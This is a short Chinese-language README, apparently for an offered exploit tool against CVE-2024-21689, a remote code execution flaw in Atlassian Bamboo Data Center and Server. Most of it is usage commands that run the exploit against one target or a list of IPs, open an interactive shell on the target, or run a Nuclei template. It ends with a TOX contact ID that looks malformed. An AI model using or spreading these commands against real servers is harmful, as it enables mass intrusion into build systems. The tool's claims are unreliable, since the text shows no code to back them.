CVE-2024-21689

#CVE-2024–21689 RCE Bamboo Data Center and Server Atlassian

CVSS 评分 - 7.6 🔥

描述

此高危 RCE（远程代码执行）漏洞 CVE-2024-21689 引入于 Bamboo Data Center and Server 的 9.1.0、9.2.0、9.3.0、9.4.0、9.5.0 和 9.6.0 版本。该 RCE（远程代码执行）漏洞的 CVSS 评分为 7.6，允许经过身份验证的攻击者执行任意代码，对机密性、完整性和可用性造成高影响，且需要用户交互。

运行脚本

• 单一 URL 模式：
  root@kitploit:~

  python3 exploit.py -u http://<target-ip>:8090 -c "whoami"
  

• 文件模式（用于多个 IP）：
  root@kitploit:~

  python3 exploit.py -f ips.txt -c "whoami"
  

• 交互式 Shell 模式：
  root@kitploit:~

  python3 exploit.py -u http://<target-ip>:8090 --shell
  

• Nuclei：
  root@kitploit:~

  nuclei exploit.yaml -f file.txt
  

联系方式

通过 TOX 联系我：6FDB3C4D5E6F7G8H9I0J1K2L3M4N5O6P7Q8R9S0TQDQ2